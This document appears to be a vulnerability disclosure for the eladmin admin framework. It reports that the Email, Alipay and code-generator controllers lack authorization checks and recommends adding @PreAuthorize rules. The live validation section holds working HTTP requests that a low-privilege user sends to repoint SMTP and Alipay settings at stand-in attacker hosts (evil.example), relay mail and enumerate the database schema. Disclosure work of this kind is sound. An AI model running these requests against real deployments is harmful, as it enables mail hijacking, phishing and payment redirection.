| 描述 | Missing authorization on Tools (Email / Alipay) and Code-Generator controllers enables vertical privilege escalation
https://github.com/elunez/eladmin
## Summary
Several privileged controllers in eladmin enforce only authentication, not
authorization. The global Spring Security configuration ends with
`anyRequest().authenticated()` and delegates all fine-grained access control to
method-level `@PreAuthorize("@el.check('...')")` annotations. The Tools module
controllers (`EmailController`, `AliPayController`) and the entire code-generator
module (`GeneratorController`, `GenConfigController`) carry **no
`@PreAuthorize` annotation on any method**. As a result, any authenticated
user, regardless of role, level, or assigned menu permissions, can:
- Rewrite the global outbound SMTP email configuration (host, username,
password, sender) — `PUT /api/email`.
- Send arbitrary email through the configured SMTP server (open relay for spam
/ phishing under the application identity) — `POST /api/email`.
- Read the stored email configuration — `GET /api/email`.
- Rewrite the global Alipay merchant configuration (appId, gateway URL, private
key, notify/return URLs) — `PUT /api/aliPay`, and read it via `GET /api/aliPay`.
- Enumerate the full database schema, including every table name and every
column's metadata (e.g. `sys_user`) — `GET /api/generator/tables/all`,
`GET /api/generator/columns?tableName=...`.
In the shipped seed data these capabilities are exposed in the UI only to roles
that hold the corresponding menus (Tools / Development), and the menus carry no
permission string at all, so the API is reachable by every logged-in account.
## Affected code
`eladmin-system/.../modules/security/config/SpringSecurityConfig.java`
```java
.anyRequest().authenticated()
```
All other endpoints in the project gate themselves with, e.g.,
`@PreAuthorize("@el.check('email:list')")`. The following controllers contain no
such annotation on any handler:
`eladmin-tools/src/main/java/me/zhengjie/rest/EmailController.java`
```java
@GetMapping
public ResponseEntity<EmailConfig> queryEmailConfig(){ ... } // no @PreAuthorize
@PutMapping
public ResponseEntity<Object> updateEmailConfig(@Validated @RequestBody EmailConfig emailConfig) { ... } // no @PreAuthorize
@PostMapping
public ResponseEntity<Object> sendEmail(@Validated @RequestBody EmailVo emailVo){ ... } // no @PreAuthorize
```
`eladmin-tools/src/main/java/me/zhengjie/rest/AliPayController.java`
— `GET` / `PUT /api/aliPay` carry no `@PreAuthorize`.
`eladmin-generator/src/main/java/me/zhengjie/rest/GeneratorController.java`
— `tables/all`, `tables`, `columns`, `PUT` (saveColumn), `sync`,
`/{tableName}/{type}` carry no `@PreAuthorize`.
`eladmin-generator/src/main/java/me/zhengjie/rest/GenConfigController.java`
— `GET /{tableName}`, `PUT` carry no `@PreAuthorize`.
## Boundary crossed
A low-privilege user performs Tools-admin and Development-admin actions and
reads forbidden data. Validation below uses the seed account `test` whose only
granted authorities are `user:list` and `monitor:list` (role level 2, not
admin). The same account is correctly denied on every properly gated endpoint.
## Live validation
Target: official source at commit 55fbf70 built and run via the project's Docker
stack (app on :18000, MySQL, Redis). Password transport uses the project's RSA
scheme; the captcha value was read from Redis to script logins. The `test`
token carries only `user:list` and `monitor:list`.
Negative/positive controls (proving the token is genuinely low-privilege and the
authz layer works elsewhere):
```
GET /api/users (test has user:list) -> HTTP 200
GET /api/roles (needs roles:list) -> {"message":"Access is denied","status":400}
GET /api/dict (needs dict:list) -> {"message":"Access is denied","status":400}
```
1) Rewrite global SMTP config as `test`:
```
PUT /api/email
{"host":"attacker-smtp.evil.example","port":"25","user":"[email protected]",
"pass":"AttackerPassw0rd","fromUser":"[email protected]"}
-> HTTP 200
GET /api/email (as test) ->
{"fromUser":"[email protected]","host":"attacker-smtp.evil.example","id":1,
"pass":"905A4A5918D20CB887224A4ECB20F484088431153C810EDA","port":"25",
"user":"[email protected]"}
```
Database confirmation:
```
SELECT host,user,from_user FROM tool_email_config;
attacker-smtp.evil.example [email protected] [email protected]
```
2) Send mail through the configured SMTP server as `test`:
```
POST /api/email
{"tos":["[email protected]"],"subject":"authz-test","content":"sent-by-low-priv-test-user"}
-> {"message":"MessagingException: Unknown SMTP host: attacker-smtp.evil.example","status":400}
```
The handler passed authorization, loaded the (attacker-rewritten) config, and
attempted SMTP delivery; it failed only because the test host I configured
in step 1 does not resolve. With a reachable SMTP host the send completes.
3) Rewrite global Alipay merchant config as `test`:
```
PUT /api/aliPay
{"id":1,"appId":"ATTACKER_APPID","gatewayUrl":"https://evil.example/gateway",
"privateKey":"ATTACKER_PRIVKEY","publicKey":"ATTACKER_PUBKEY",
"notifyUrl":"https://evil.example/notify","returnUrl":"https://evil.example/return",
"sysServiceProviderId":"x","format":"JSON","charset":"utf-8","signType":"RSA2"}
-> HTTP 200
GET /api/aliPay (as test) ->
{"appId":"ATTACKER_APPID","charset":"utf-8","format":"JSON",
"gatewayUrl":"https://evil.example/gateway","id":1,
"notifyUrl":"https://evil.example/notify","privateKey":"ATTACKER_PRIVKEY",
"publicKey":"ATTACKER_PUBKEY","returnUrl":"https://evil.example/return",
"signType":"RSA2","sysServiceProviderId":"x"}
```
4) Enumerate database schema as `test`:
```
GET /api/generator/tables/all ->
[["qrtz_triggers",...],["qrtz_job_details",...], ... full table list ...] HTTP 200
GET /api/generator/columns?tableName=sys_user ->
{"content":[{"columnName":"user_id",...},{"columnName":"username","keyType":"UNI",...}, ...]} HTTP 200
```
## Impact
- Confidentiality (High): any account reads the stored email/Alipay
configuration and enumerates the entire database schema (table and column
metadata of sensitive tables such as `sys_user`).
- Integrity (High): any account rewrites the global outbound SMTP server and
Alipay merchant credentials. Rewriting SMTP enables harvesting of any
password later "tested" through the mail tooling and silently redirects all
application email; rewriting Alipay redirects payment notify/return flow to
an attacker endpoint. Any account can also send arbitrary email through the
configured relay under the application's identity.
- The code-generator write/sync endpoints (`PUT /api/generator`,
`POST /api/generator/sync`, `PUT /api/genConfig`) are likewise reachable by
any account and allow tampering with generation metadata and config.
## Remediation
Add method- or class-level `@PreAuthorize("@el.check('...')")` to
`EmailController`, `AliPayController`, `GeneratorController`, and
`GenConfigController`, consistent with the rest of the codebase (e.g.
`email:list`, `aliPay:list`, `generator:list`), and assign those permission
strings to the corresponding menus. Alternatively, add explicit role/authority
URL rules in `SpringSecurityConfig` for `/api/email/**`, `/api/aliPay/**`,
`/api/generator/**`, and `/api/genConfig/**` instead of relying solely on
`anyRequest().authenticated()`. |
|---|